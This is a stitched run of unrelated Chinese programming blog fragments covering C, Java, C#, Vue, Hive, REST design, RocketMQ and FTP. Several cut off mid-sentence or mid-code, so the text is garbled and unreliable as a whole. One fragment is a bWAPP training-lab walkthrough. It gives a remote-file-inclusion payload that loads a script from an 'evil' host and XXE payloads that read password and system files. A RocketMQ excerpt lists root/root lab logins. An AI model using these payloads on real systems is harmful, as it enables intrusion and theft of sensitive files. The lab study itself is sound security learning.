原因是def __init__这一行的折叠键指向错了,正确的应该指向下,与该方法里面的代码构成一个完整的折叠块。
试了几次,没找出具体出错的原因,可能跟代码书写不规范有关。
不过楼主找到了解决方法,def前面到类的后面,重新换行一次,88行的折叠键就更换了正确的方向。
4. 楼主找到了一种方法,可以避免折叠键指向错误的情况。在书写类里面的方法之前,在类的下面几行之后,新建一个折叠键,折叠键与类之间空白,与类的折叠键构成一对。此时再在此空白区域内,写方法。一般不会出现错误了。
5. 完整的,正确是折叠键应该是,类前面一个向下的折叠键,每个方法都有一对正确方向的折叠键,这样就可以一次把类全部折叠起来
楼主是初学Python,后续有补充的继续加进来。
诸位有好的方法也欢迎评论,一起讨论交流 !!!
概念:所谓质因子分解是将一个正整数n写成一个或多个质数的乘积形式。
例如:6=2*3,180=2*2*3*3*5,也可以写成指数形式,例如 180=2^2*3^2*5^1;
你会发现最终会归结到若干个不同素数(质数)的乘积。
注意:由于1本身不是素数,因此它没有质因子,下面针对大于1的正整数来说。
这里提供2种质因子分解的代码,可根据要求选择,重点讲解方法(二)。
方法(一):
#include <stdio.h> int main(){ int n; // 用户输入的整数 int i; // 循环标志 printf("输入一个整数:"); scanf("%d",&n); printf("%d=",n); // n>=2才执行下面的循环 for(i=2; i<=n; i++){ while(n!=i){ if(n%i==0){ printf("%d*",i); n=n/i; }else break; } } printf("%d\n",n); return 0; } 方法(二) :指数形式输出
#include <stdio.h> #include <math.h> const int maxn=100001; //判断是否为素数 bool is_prime(int n){ if(n==1) return false; int sqr=(int)sqrt(1.0*n); for(int i=2;i<=sqr;i++){ if(n%i==0) return false; } return true; } int prime[maxn],pNum=0; //构建素数表 void Find_prime(){ for(int i=1;i<maxn;i++){ if(is_prime(i)==true){ prime[pNum++]=i; } } } //存放质因子和个数 struct factor{ int x,count; }f[10]; //连乘即将超越int上限 int main(){ Find_prime(); int n; int num=0;//记录质因数个数 scanf("
文章目录 1、 使用pathVariable进行层级限定2、单数还是复数3、分页怎么表示 RequestMethod表示什么动作的我们就不说了,那种太简单,网上一堆,我们说说动作以外的问题 1、 使用pathVariable进行层级限定 当限定为某个单个资源时,id使用pathVariable来传递,而不是requestParam的方式,也就是通过url来传递id参数,而不是通过get或者post的请求参数。
/users 表示列表
/users/{id} 表示单个的操作
二级操作
/users/{id}/roles 表示用户的角色列表
/users/{id}/roles/{roleId} 表示用户的某个角色
2、单数还是复数 /users 表示list操作没问题,表示单个的时候,会产生一种误解,感觉应该为/user/id。于是出现列表用users,单个的时候user/{id}这种方式。
反过来看,users理解为user的集合,但是user也可以说是user的统称,表示domain。
restful只是一种概念,并没有严格的定义,于是就产生了三种方式
全部复数 users列表用复数,单个个体用单数 users user/{id}全部单数 user
从网上搜的情况来看,倾向于全部使用复数的更多一点。 3、分页怎么表示 /users 表示list,如何表示page
一般有两种方式
/users?pageNo=xx&pageSize=xx
和users相同,使用url参数来拼接pageNo和pageSize
/users/page/{pageNo}?pageSize=xx
其中pageNo必填,pageSize选填,将页码pageNo通过pathVariable来表示,pageSize作为可选项,如果不选,系统有默认pageSize。如果输入了pageSize,以输入的pageSize为准
两种的区别在于
从概念上讲,是将page当成资源,还是说是资源的表现形式。如果是资源,那么就单独给url,如果是表现形式,应该拼接url参数。从代码上看,使用url参数的方式,查询分页会和查询列表公用一个action层方法,方法返回Object,在里面根据是否有pageNo参数判断是否是查询列表逻辑还是分页逻辑。
我更倾向于将page当成一种表现形式,当然,你怎么理解都可以,只要你能说服你的团队。
1 生成子空间的定义 给定数域 P P P上的线性空间 V V V中的一组向量 α 1 , ⋯   , α r \alpha_1,\cdots,\alpha_r α1,⋯,αr,我们希望得到一个 V V V的子空间 W W W,使得 W W W中包含向量 α 1 , ⋯   , α r \alpha_1,\cdots,\alpha_r α1,⋯,αr, 那么 W W W应该是怎样的呢?
由线性空间对数乘运算的封闭性,我们知道,下面的这些向量应该在 W W W中: k i α i , i = 1 , 2 , ⋯   , r . k_i\alpha_i, i=1,2,\cdots, r. kiαi,i=1,2,⋯,r.
又由于线性空间对加法封闭,所以 k 1 α 1 + k 2 α 2 + ⋯ + k r α r k_1\alpha_1+k_2\alpha_2+\cdots+k_r\alpha_r k1α1+k2α2+⋯+krαr也在 W W W中.
SSRF的3个小实验
bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本:http://192.168.163.157/evil/ssrf-1.txt
接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level选择low,然后点击Hack。
观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
payload:?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST:ip=xxxx
任务2:使用XXE获取敏感文件中的内容
点击Access获取XXE的利用脚本:10.158.131.81/bWAPP_latest/evil/ssrf-2.txt
然后切换到XXE漏洞利用环境,点击Anybugs?,抓包
将选中模块更改为下面的XML代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP_latest/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset> 使用http协议获取/bWAPP/robots.txt的内容
使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset> 使用file协议获取bWAPP本机的/etc/passwd的内容。
不知道什么原因。。。
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(没有演示环境)
1、IComparable和IComparer接口 用于比较和排序
IComparable 可比较的,实现该接口的类,便具有“可比较的”特性。
IComparer 比较器,实现该接口的类,是一个比较器,可以将其嵌入“类”中,使类具有“可比较的”的特性。
C#中的IComparable和IComparer接口
2、IEnumerable与IEnumerator接口 用于迭代
IEnumerable 可遍历的,实现该接口的类,便具有“可遍历的”特性。实现接口方法GetEnumerator(),返回IEnumerator对象,可用于循环访问集合元素。
IEnumerator接口,是真正的集合访问器,IEnumerator接口定义了一个Current属性,两个方法MoveNext()和Reset()。Current属性获取当前集合中的项;MoveNext方法移到下一项。
foreach语句揭秘
3、IConvertible接口 类型转换
IConvertible接口定义的方法主要是为了将值或者引用类型的值转换成公共语言运行库类型。实现该类型时,应该实现该接口定义的所有方法,当类或者值类型的值无法转换成某种公共语言运行库类型时,应该引发 InvalidCastException异常。
IConvertible接口用法揭秘
4、ICustomFormatter及IFormatProvider接口 格式化
ICustomFormatter接口,定义一种方法,支持自定义设置对象的值的格式。值或者引用类型实现该接口时,需要实现唯一方法Format(),Format 方法会返回对象值的自定义格式字符串表示形式。
IFormatProvider接口,格式提供者,用于返回控制格式化的对象。 类或数值类型实现此接口的 GetFormat方法,获得提供格式信息的对象。
ICustomFormatter及IFormatProvider接口用法揭秘
5、IFormattable接口
IFormattable接口,可格式化的,提供的ToString()方法,可以将对象的值按照指定的格式转化成字符串的功能。第一个参数告诉方法需要何种格式的输出,而第二个IFormatProvider的参数则允许类型的使用者自定义格式化方法。
string ToString( string format, IFormatProvider formatProvider )
使用IFormattable实现自定义格式字符串输出
6、ICollection接口
ICollection接口定义所有集合的大小、枚举数和同步方法。ICollection接口是System.Collections命名空间中类的基接口。
7、IDictionary接口
IDictionary接口是基于ICollection接口的更专用的接口。IDictionary 实现是键/值对的集合,如Hashtable类。
8、IList接口
IList接口实现是可被排序且可按照索引访问其成员的值的集合,如ArrayList类。
C#中,自定义类型,支持比较和排序,需要实现IComparable接口。IComparable接口存在一个名为CompareTo()的方法,接收类型为object的参数表示被比较对象,返回整型值:1表示当前对象大于被比较对象,0表示两者相等,-1表示当前对象小于被比较对象。
public int CompareTo(object o) {} 若想以更加灵活的方式对自定义类进行比较,可以声明一个继承自IComparer接口的比较器,实现接口方法Comprae(),接收2个object类型参数作为比较对象,返回整型值:1表示前者大于后者,0表示两者相等,-1表示前者小于后者。
public int Compare(object x, object y) {} IComparable是“可比较的”意思,自定义类实现该接口,就具有可比较的功能;IComparer是“比较器”的意思,实现该接口的类就是一个比较器,可以将比较器“注入”类中,使类具有比较和排序的功能。
具体事例可以参考本人以前整理的两篇博文。
IComparable接口示例代码
IComparer接口示例代码
转:https://www.cnblogs.com/feichengwulai/articles/3793261.html
1、(终极解释!!!)throws Exception放在方法后边,是throws Exception表示的是本方法不处理异常,交给被调用处处理(如果你不希望异常层层往上抛,你就要用throws Exception) ,而且被调用处必须处理。
2、throw new Exception 表示人为的抛出一个异常,例如:
public boolean insert(News n) {
try{
.....
}catch{
throw new Exception("这是我自己抛出的一个异常,如果我看到此段信息表示我这个方法这儿出错了,给自己看的!");
}finally{
}
}
3,首先方法后边加上throws Exception的作用是抛出异常。其中Exception可以理解为所有异常,也可以抛出指定异常。如果方法后边不加throws Exception,方法出了异常就会向上传递抛出(如果方法有调用者,那就交给调用者处理,如果调用者继续一层层抛出,最终交给虚拟机,虚拟机处理,整个程序会中断! 如果在程序中捕获 还可以继续进行。)。
4,如果有异常你不用层层向上抛出那么你就要用throws Exception,然后在调用时加上try catch语句处理...。。。如果有异常我一般选择这种处理方法。相比不用throws Exception,加上了throws Exception后,调用该方法时,必须加上try...catch才可以(你加上throw exception。调用的地方就必须try catch,不然编译都不过。。这样代码就更健壮了。)。
相当于一种约束,如果不加throws Exception,在多个地方调用方法时,添加try...catch也可以,但是有时候就会忘记加try...catch。
5,另外异常处理的原则是尽可能早的catch异常,正常的程序不应该写throws Exception。
6,运行异常(继承RuntimeException)可以不捕获,向上抛,如果一直没有处理,则jvm会自动处理(停止线程,打印异常)。
---非运行期异常,必须捕获或者在方法声明。
public class helloworld {
public static void main(String[] args) {
// TODO Auto-generated method stub
// System.out.printf("hello.java");
try {
test();
} catch (Exception e) {
System.out.printf(e.getMessage());
}
[TOC]
一、简介 本文使用docker实现mysql主从配置,读写分离、分库分表等功能。
二、环境准备 1.基础环境 java java version "1.8.0_111" Java(TM) SE Runtime Environment (build 1.8.0_111-b14) Java HotSpot(TM) 64-Bit Server VM (build 25.111-b14, mixed mode) 复制代码 docker Client: Version: 18.03.0-ce API version: 1.37 Go version: go1.9.4 Git commit: 0520e24 Built: Wed Mar 21 23:09:15 2018 OS/Arch: linux/amd64 Experimental: false Orchestrator: swarm Server: Engine: Version: 18.03.0-ce API version: 1.37 (minimum version 1.12) Go version: go1.9.4 Git commit: 0520e24 Built: Wed Mar 21 23:13:03 2018 OS/Arch: linux/amd64 Experimental: false 复制代码 三、安装Mysql主从配置 1.
1.打开【事件查看器】
2.筛选事件ID为4624,4625的事件
3.查看登陆远程主机的IP
点击上方“Web项目聚集地”,选择“置顶”公众号
重磅干货,第一时间送达
前言
本文作者松哥,著有书籍《Spring Boot + Vue全栈开发实战》维护订阅号:牧码小子,本文就书中提及Vue以及前后端分离思想进行探讨,作者想和大家聊一下前后端分离以及 Vue.js 的一点事,算是一个简单的入门科普吧。很多小伙伴可能听说过前后端分离但还是两眼一抹黑,希望这篇文章能解开疑惑。
前后端不分 后端模板:Jsp、FreeMarker、Velocity
前端模板:Thymeleaf
前后端不分,Jsp 是一个非常典型写法,Jsp 将 HTML 和 Java 代码结合在一起,刚开始的时候,确实提高了生产力,但是时间久了,大伙就发现 Jsp 存在的问题了,对于后端工程师来说,可能不太精通 css ,所以流程一般是这样前端设计页面-->后端把页面改造成 Jsp --> 后端发现问题 --> 页面给前端 --> 前端不会Jsp。这种方式效率低下。特别是在移动互联网兴起后,公司的业务,一般除了 PC 端,还有手机端、小程序等,通常,一套后台系统需要对应多个前端,此时就不可以继续使用前后端不分的开发方式了。
在前后端不分的开发方式中,一般来说,后端可能返回一个 ModelAndView ,渲染成 HTML 之后,浏览器当然可以展示,但是对于小程序、移动端来说,并不能很好的展示 HTML(实际上移动端也支持HTML,只不过运行效率低下)。这种时候,后端和前端数据交互,主流方案就是通过 JSON 来实现。
前后端分离 前后端分离后,后端不再写页面,只提供 JSON 数据接口(XML数据格式现在用的比较少),前端可以移动端、小程序、也可以是 PC 端,前端负责 JSON 的展示,页面跳转等都是通过前端来实现的。前端后分离后,前端目前有三大主流框架:
Vue
作者尤雨溪,Vue本身借鉴了 Angular,目前GitHubstar数最多,建议后端工程师使用这个,最大的原因是Vue上手容易,可以快速学会,对于后端工程师来说,能快速搭建页面解决问题即可,但是如果你是专业的前端工程师,我会推荐你三个都去学习 。就目前国内前端框架使用情况来说,Vue 算是使用最多的。而且目前来说,有大量 Vue 相关的周边产品,各种 UI 框架,开源项目,学习资料非常多。
React
Facebook 的产品。是一个用于构建用户界面的 js 库,React 性能较好,代码逻辑简单。
Angular
AngularJS 是一款由 Google 维护的开源 JavaScript 库,用来协助单一页面应用程序运行。它的目标是透过 MVC 模式(MVC)功能增强基于浏览器的应用,使开发和测试变得更加容易。
我的新书《Android App开发入门与实战》已于2020年8月由人民邮电出版社出版,欢迎购买。点击进入详情
文章目录 简介解决方案代码git地址 简介 Builder模式主要用于解决初始化类时(也就是new一个类的实例出来),类的构造函数种类过多,且不易管理的问题。
我们看一下有三个参数的类,能构建出多少个构造函数:
public class Student { private String name; private int age; private boolean sex; public Student() { } public Student(String name) { this.name = name; } public Student(int age) { this.age = age; } public Student(boolean sex) { this.sex = sex; } public Student(String name, int age) { this.name = name; this.age = age; } public Student(String name, boolean sex) { this.name = name; this.
public class test { //创建完全二叉树 public static node1 buildTree(int[] array, int index){ node1 node = null; if(index > array.length){ return null; } node = new node1(array[index - 1]); node.left = buildTree(array,2*index); node.right = buildTree(array,2*index+1); return node; } //创建线索二叉树 public static node1 ThreadTree(node1 node, node1 pre){ if (node != null) { ThreadTree(node.getLeft(),pre);//先找到最左面的子节点,然后依次向上递归 if (node.getLeft() == null) { node.ltag = 1; node.left = pre; } if (pre != null && pre.right == null) { pre.
1 事务 事务就是一组单元化操作,这些操作要么都执行,要么都不执行,是一个不可分割的工作单位。
1.1 事务的基本要素(ACID) (1)原子性(Atomicity)
事务开始后,一个事务是一个不可再分割的工作单位,事务中的所有操作要么都发生,要么都不发生。事务执行过程中出错,会回滚到事务开始前的状态。
(2)一致性(Consistency)
事务开始之前和事务结束以后,数据库的完整性约束没有被破坏。这是说数据库事务不能破坏关系数据的完整性以及业务逻辑上的一致性。比如A向B转账,不可能A扣了钱,B却没收到。
(3)隔离性(Isolation)
同一时间,只允许一个事务请求同一数据,不同的事务之间彼此没有任何干扰。比如A正在从一张银行卡中取钱,在A取钱的过程结束前,B不能向这张卡转账。
(4)持久性(Durability)
事务完成后,事务对数据库的所有更新将被保存到数据库,不能回滚。
1.2 事务的并发问题 (1)脏读
事务A读取了事务B更新的数据,然后B回滚操作,那么A读取到的数据是脏数据。
(2)不可重复读
事务A多次读同一数据,事务B在事务A多次读取的过程中,对数据做了更新并提交,导致事务A多次读取同一数据时,结果不一致。
(3)幻读
系统管理员A将数据库中所有学生的成绩从具体分数改为ABCD等级,但是系统管理员B就在这个时候插入了一条具体分数的记录,当系统管理员A改结束后发现还有一条记录没有改过来,就好像发生了幻觉一样,这就叫幻读。
小结:不可重复读和幻读很容易混淆,不可重复读侧重于修改,幻读侧重于新增或删除。解决不可重复读的问题只需锁住满足条件的行,解决幻读需要锁表。
1.3 ACID的实现原理 (1)预写日志(Write-ahead logging)保证原子性和持久性。(在进行操作时,都要先将操作写入日志,日志写完之后,再执行操作)
(2)锁(locking)保证隔离性
这里并没有提到一致性,是因为一致性是应用相关的话题,它的定义一个由业务系统来定义,什么样的状态才是一致?而实现一致性的代码通常在业务逻辑的代码中得以体现。
注:锁是指在并发环境中通过读写锁来保证操作的互斥性。根据隔离程度不同,锁的运用也不同。
2 Hive的事务 2.1 Hive事务应用场景 (1)流数据的采集。许多用户使用如Apache Flume、Apache Storm或Apache Kafka等工具,将数据流到自己的Hadoop集群。这些工具都是每秒百万行级的数据写入,而Hive只能每十五分钟到一个小时添加一次分区。快速的增加分区会对表中的分区数量形成压力。当然可以事先创建好分区再将数据导入,但这样会引起脏读,而且目录下生成的小文件会对NameNode造成很大的压力。使用此事务功能,将支持此场景,同时保证读操作获得一致的数据视图,并避免过多的文件。
(2)数据更新。从Hive0.14开始,可以通过INSERT,UPDATE和DELETE来更新数据。
(3)使用SQL MERGE语句实现批量更新。
2.2 限制条件 (1)BEGIN, COMMIT, ROLLBACK暂时不支持,所有DML操作自动提交。
(2)目前只支持ORC 的文件格式。
(3)默认事务是关闭的,需要设置开启。
(4)要是使用这些特性,表必须是分桶的。
(5)事务管理器必须是org.apache.hadoop.hive.ql.lockmgr.DbTxnManager ,否则事务表无法工作。
(6)目前只支持快照隔离级别。当一个给定的查询启动时,它会提供该数据的一致快照。不支持脏读(READ UNCIMMITTED)、提交读(READ COMMITTED)、可重复读(REPEATABLE READ)或可序列化(SERIALIZABLE)。引入BEGIN的目的是在事务持续时间内支持快照隔离,而不仅仅是一个查询。根据用户请求,还可以添加其他隔离级别。
(7)LOAD DATA …语句不支持事务性表,直到Hive-16732才能正确执行。
参考文章:
[1] https://blog.csdn.net/weixin_41122339/article/details/81783759
[2] https://www.jianshu.com/p/aa0f0fdd234c
[3] https://www.infoq.cn/article/guide-of-hive-transaction-management
vue 1.x 的时候曾作为双向绑定功能存在,即子组件可以修改父组件中的值。
vue2.0时因为它违反了单向数据流的设计理念,单向数据流指的是使用一个上传数据流和一个下传数据流进行双向数据通信,两个数据流之间相互独立,所以在 vue2.0 的时候被干掉了。
在 vue2.3.0+ 以上版本又重新引入了这个 .sync 修饰符。但是这次它只是作为一个编译时的语法糖存在。它会被扩展为一个自动更新父组件属性的 v-on 监听器。说白了就是让我们手动进行更新父组件中的值了,从而使数据改动来源更加的明显。
作为语法糖,肯定有简单的写法:
//普通写法 text-document v-bind:title="doc.title" v-on:update:title="doc.title = $event" ></text-document> //语法糖写法 <text-document v-bind:title.sync="doc.title" ></text-document> Vue.component('text-document', { props: ['title'], template: ` <div> <button @click='setNewTitle'>更新标题</button> </div> `, methods:{ setNewTitle:function(){ //手动进行更新父组件中的值 this.$emit('update:title', '这步操作修改标题实现prop双向绑定') } } }) var vm = new Vue({ el:'#app', data:{ doc:{ title:'对prop进行“双向绑定”' } }, }); JS中最主要的就是这句话
this.$emit('update:title', newVal)
其中update:myPropName 其中 myPropName 表示要更新的 prop (我的代码中写的是title)值。当然如果你不用 .sync 语法糖使用上面的 .$emit 也能达到同样的效果
实用小白资源库 随笔分类 - SVN/git https://www.cnblogs.com/lidabo/category/315798.html
Linux中zip压缩和unzip解压缩命令详解 https://www.cnblogs.com/wangkongming/p/4305962.html
Linux下利用unzip命令如何解压多个文件详解 https://www.jb51.net/article/147282.htm
wireshark使用教程基本用法 https://www.cnblogs.com/Jerry-zhao2110/p/8282427.html
Linux gdb调试器用法全面解析 https://www.cnblogs.com/mingcaoyouxin/p/4225619.html
(资源的搬运工,持续更新中…)
(转载请说明出处,谢谢!)
知识点:数组,函数调用
思路:定义一个数组,包含一到十二月各月的天数,由键盘输入年、月、日,将之前月份的天数累加,再加上当前的天数就是总天数。如果该年是闰年,总天数要加一。
程序代码:
#include <stdio.h> int fun(int x,int y,int z) { int a[13]={0,31,28,31,30,31,30,31,31,30,31,30,31}; int i,sum=0; for(i=0;i<y;i++) { sum=sum+a[i]; } sum=sum+z; if(x % 400 == 0 || x % 100 != 0 && x % 4 == 0) sum=sum+1; return sum; } int main() { int year,month,day; printf("请输入年、月、日:\n"); scanf("%d %d %d",&year,&month,&day); printf("%d年%d月%d日是该年的第%d天\n",year,month,day,fun(year,month,day)); getchar(); getchar(); return 0; } 运行结果:
目录
1.数据本地存储介绍
目录
1.数据本地存储介绍
2.AsyncStorage使用
2.1react-native-storage
2.2添加库几种方式
2.3引入react-native-storage库
2.4.保存、修改和删除数据操作
2.5使用key和id来保存数据,一般是保存同类别(key)的大量数据。
3.过期数据处理(sync属性设置)
3.1定义storage.sync的同步方法
3.2测试获取过期数据
3.2.1保存数据
3.2.2获取6秒以后过期的数据
2.AsyncStorage使用
2.1react-native-storage
2.2添加库几种方式
yarn add react-native-storage2.3引入react-native-storage库
2.4.保存、修改和删除数据操作
2.5使用key和id来保存数据,一般是保存同类别(key)的大量数据。
3.过期数据处理(sync属性设置)
3.1定义storage.sync的同步方法
3.2测试获取过期数据
3.2.1保存数据
3.2.2获取6秒以后过期的数据
1.数据本地存储介绍 数据本地存储主要将数据存储到本地,存储的方式可以有多种,在类似用户登录场景下,我们希望网络断开或者下次进入应用时不用每次都填写用户名密码,我们通常会将用户名密码或者身份证明Token存储在本地;在React Native中常用两种数据存储方式:
a.AsyncStorage
AsyncStorage是一个简单的、异步的、持久化的 Key-Value 存储系统,它对于 App 来说是全局性的。可用来代替 LocalStorage。
各平台具体实现形式:在 iOS 上,AsyncStorage在原生端的实现是把较小值存放在序列化的字典中,而把较大值写入单独的文件。在 Android 上,AsyncStorage会尝试使用RocksDB,或退而选择 SQLite。
react-native-storage:通常会借用第三方react-native-storage对AsyncStorage进行封装,而不是直接使用AsyncStorage;
b.Realm
新的数据库存储框架,类似SQLite;
Realm平台是基于NoSQL的服务器和客户端组件的组合,通过快速高效的同步协议连接,以实现实时、连接的应用程序和服务,这些应用程序和服务响应迅速,性能不受网络状态的影响。领域平台有两个主要组件:领域数据库(Realm Database)和领域对象服务器(Realm Object Server)。这两个组件协同工作,可以自动同步数据,从而实现大量的用例,从离线的第一个应用程序、现场服务和数据收集应用程序、数据可用性和用户响应性是关键的移动服务。此外,通过与现有后端(SQL、Kafka等)的集成能力,Realm平台是在利用现有(有时是遗留)系统和数据源的同时,构建现代实时服务体验的极好方式。
注意:简单的key-value数据存储方式使用AsyncStorage实现,数据量较大使用Realm;
2.AsyncStorage使用 2.1react-native-storage react-native-storage这是一个本地持久存储的封装,可以同时支持 react-native(AsyncStorage)和浏览器(localStorage)。ES6 语法,promise 异步读取,使用 jest 进行了完整的单元测试。
2.2添加库几种方式 a.在RN工程中找到package.json文件,在dependencies标签下添加react-native-storage库,我使用的WebStorm添加时会自动库的版本
"dependencies": { "react": "16.6.0-alpha.8af6728", "react-native": "0.57.4", "react-native-modal": "
服务器环境
主要用到以下两台服务器来做双master集群
服务器:
序号
IP(公)
IP(内)
用户名
密码
角色
模式
备注
1
192.168.1.151
root
root
nameServer1
brokerServer1
Master1
服务:
应用App:
2
192.168.1.152
root
root
nameServer2
brokerServer2
Master2
服务:
应用App:
操作过程:
安装包已经上传至其中1个节点
两个服务器解压安装都一样
1、解压缩安装包
命令:
unzip rocketmq-all-4.2.0-bin-release.zip -d /usr/local/rocketmq -d表示解压到指定目录
解压缩之后如下(如没按unzip,则安装unzip命令是:yum install -y unzip zip):
2、创建存储路径【两台服务器】
mkdir /usr/local/rocketmq/store mkdir /usr/local/rocketmq/store/commitlog mkdir /usr/local/rocketmq/store/consumequeue mkdir /usr/local/rocketmq/store/index 3、RocketMQ配置文件【两台机器】
为了方便管理配置文件,每台服务器的配置都创建一份其他服务器的配置文件,如果需要修改配置内容,则在任一 一台服务器中修改相应的配置文件,然后把该台的所有配置文件拷贝覆盖到其他服务器就行。
vim /usr/local/rocketmq/conf/2m-noslave/broker-a.properties vim /usr/local/rocketmq/conf/2m-noslave/broker-b.properties 配置broker-a.properties #所属集群名字 brokerClusterName=rocketmq-cluster #broker名字,注意此处不同的配置文件填写的不一样 (broker-b.properties的这里改成broker-b) brokerName=broker-a #0 表示 Master,>0 表示 Slave brokerId=0 #nameServer地址,分号分割 #namesrvAddr=rocketmq-nameserver:9876;rocketmq-nameserver2:9876 namesrvAddr=192.
写在前言:
我觉得整个知识体系是首先要明白Java里参数传递的规则(也就是为什么值传递)然后是借此引出“=”拷贝的问题,然后是clone()的作用,接着是深拷贝以及浅拷贝以及实现深拷贝的方法。最后对Java创建对像的四种方法进行总结。
整篇文章有我自己理解的地方,当然也有参考一些其他的技术博客。
一、Java里面只有值传递
1、形式参数以及实际参数
(1)形式参数是函数定义时候括号里的变量名(str是形参)
public String print(String str){ //函数体 } (2)实际参数是调用函数时侯括号里的变量名(str1是实参)
print(str1); //其中str1是已经被定义好了的字符串 2、经典理解误区:(可以这么理解,但是一定要知道这句话是错误的)
传递的参数如果是普通类型,那就是值传递,如果是对象,那就是引用传递。
3、正确的理解:java种只有值传递
(1)当参数类型是基本类型的时候,就是值传递。相当于把实参复制了一份然后给了形参,所以形参拿的是实参的复制品,所以这个时候对形参有任何的更改都不会对实参有任何影响
public static void main(String[] args) { ParamTest pt = new ParamTest(); int i = 10; pt.pass(i ); System.out.println("print in main , i is " + i); } public void pass(int j) { j = 20; System.out.println("print in pass , j is " + j); } 结果
print in pass , j is 20 print in main , i is 10 (2)当参数类型是引用类型的话,其实也是值传递。这时候的值是对象的引用,所以就相当于实参(对象的引用)复制了一份(这里复制的是引用)传给了形参,所以形参拿到的是对象引用的复制品,这个时候形参也是引用,只不过这个时候形参和实参会指向同一个对象。所以这个时候通过形参来改变对象里的成员变量,那么对象实际的成员变量就会被改变(这是因为实参引用和形参引用是指向同一个对象)。那么有人就会说这不就是引用传递了吗?其实对于用形参的改变是否会影响到实参来判定是指传递还是引用传递这本身就是一个错误的参照。下面举一个例子就会明白了。
为了从FTP服务器下载文件,需要要实现一个简单的FTP客户端。
FTP(文件传输协议) 是 TCP/IP 协议组中的应用层协议。
FTP协议使用字符串格式命令字,每条命令都是一行字符串,以“\r\n”结尾。
客户端发送格式是:命令+空格+参数+"\r\n"的格式
服务器返回格式是以:状态码+空格+提示字符串+"\r\n"的格式,代码只要解析状态码就可以了。
读写文件需要登陆服务器,特殊用户名:anonymous,表示匿名。注意大小写敏感。
从FTP服务器下载文件的基本流程如下:
1. 建立TCP连接,该协议默认使用21端口,当然可以指定其它端口,取决于服务器的配置。
2. 连接成功之后,服务器会发送一行欢迎文字,例如:220 welcome.
其中左边的数字220表示就绪状态,220后面有一个空格,空格后面是提示文字。
在解析命令应答的时候,只需要获取前面的数字即可。
3. 收到欢迎信息后,就要开始登陆了,先用USER命令发送用户名,服务器返回331状态。
然后再用PASS命令发送登陆密码,服务器返回530表示密码错误,返回230表示密码正确。
发送:USER anonymous
接收:331 Anonymous login ok, send your complete email address as your password
发送:PASS anonymous
接收:230 Anonymous access granted, restrictions apply
4. 登陆成功之后,再发送一条TYPE I命令,进入二进制模式,这样获取文件数据的时候,就会以二进制字节流发送。
避免以ASCII码格式发送文件数据。
5. 获取文件长度
发送:SIZE /path/filename
失败:550 /path/filename: No such file or directory
成功:213 [filesize]
返回[filesize]是十进制数字,表示该文件在大小,字节为单位
6. 下载文件
下载文件前,先发送PASV命令,进入被动模式,这样FTP服务器就会开放一个新的端口,用于接收文件数据。
客户端成功连接到这个数据端口后,再发送RETR命令请求下载文件,这时文件数据就会从新的端口发送过来,文件传输完毕,服务器自动关闭数据端口。
发送:PASV
接收:227 Entering Passive Mode (145,24,145,107,207,235).
一. 解析方式 xml的2种解析方式(DOM和SAX解析方式): https://blog.csdn.net/weixin_42472048/article/details/81264570
dom解析和sax解析区别:
dom方式解析
根据xml的层级结构在内存中分配一个树形结构,把xml的标签,属性和文本都封装成对象
优点:很方便实现增删改操作
缺点:如果文件过大,造成内存溢出
sax方式解析
采用事件驱动,边读边解析,从上到下,一行一行的解析,解析到某一个对象,返回对象名称,
当SAX解析结束,不会保存任何XML文档的数据。
优点:如果文件过大,不会造成内存溢出,方便实现查询操作
缺点:不能实现增删改操作
二. 第三方库介绍对比: 尽管XML解析器有很多种,而且功能差异很大,甚至是支持跨平台、多语言,但是对于你的应用而言,尽量选择一种相对熟悉、功能够用的即可,没必要去追求庞杂的解析器,我们只需关注:功能够用、相对稳定、适合扩展这三个功能即可。一旦有问题,修正和扩展都要更为容易。
PugiXML: 仅DOM方式;速度快; https://www.cnblogs.com/haomiao/p/5041065.html
RapidXML: 仅DOM方式;速度快
libxml: 可以验证DTD;几乎适合于常见的所有操作系统下编译和开发使用; C代码支持XML解析最全的,支持xpath语法;
libxml++(地址:http://libxmlplusplus.sourceforge.net/)是对libxml XML解析器的C++封装版本。此外还有各种语言封装包,参加官方链接。
libxml的使用(1)--读取xml:https://www.cnblogs.com/fire909090/p/6798136.html
libxml2的安装及使用[总结]:https://www.cnblogs.com/Anker/p/3542058.html
Libxml2主要的优点有:
( http://blog.sina.com.cn/s/blog_a7c44c8801018qc5.html ):
1. 安装、使用比较简单,容易入门;
2. 支持的编码格式较多,能很好的解决中文问题(使用一个很简单的编码转换函数);
3. 支持Xpath解析(这点对于任意定位xml文档中的节点还是很有用的哦);
4. 支持Well-formed 和valid验证,具体而言支持DTD验证,Schema验证功能正在完善中(目前多数解析器都还不完全支持shema验证功能);
5. 支持目前通用的Dom、Sax方式解析等等。
不足之处也是有的:
1. 指针太多,使用不当时就会出现错误,在Linux系统中表现为常见的段错误,同样管理不当易造成内存泄漏;
2.个人认为内面有些函数的功能设计的不是很好(比如获取Xpath函数,它不获取节点属性,这样子有些情况会定位不准)
C/C++利用libxml2高效输出XML大文件详解:https://www.jb51.net/article/128707.htm
Xerces: 支持SAX和DOM ;可以验证DTD;文件越大,element解析越慢;除了C++版本,Xerces同时还提供Xerces Java,Xerces Perl等版本。
TinyXML: DOM方式;C++开发,支持Windows和Linux。小巧玲珑,非常适合存储简单数据,配置文件,对象序列化等数据量不是很大的操作。支持对XML的读取和修改,不直接支持XPath,需要借助另一个相关的类库TinyXPath才可以支持XPath.
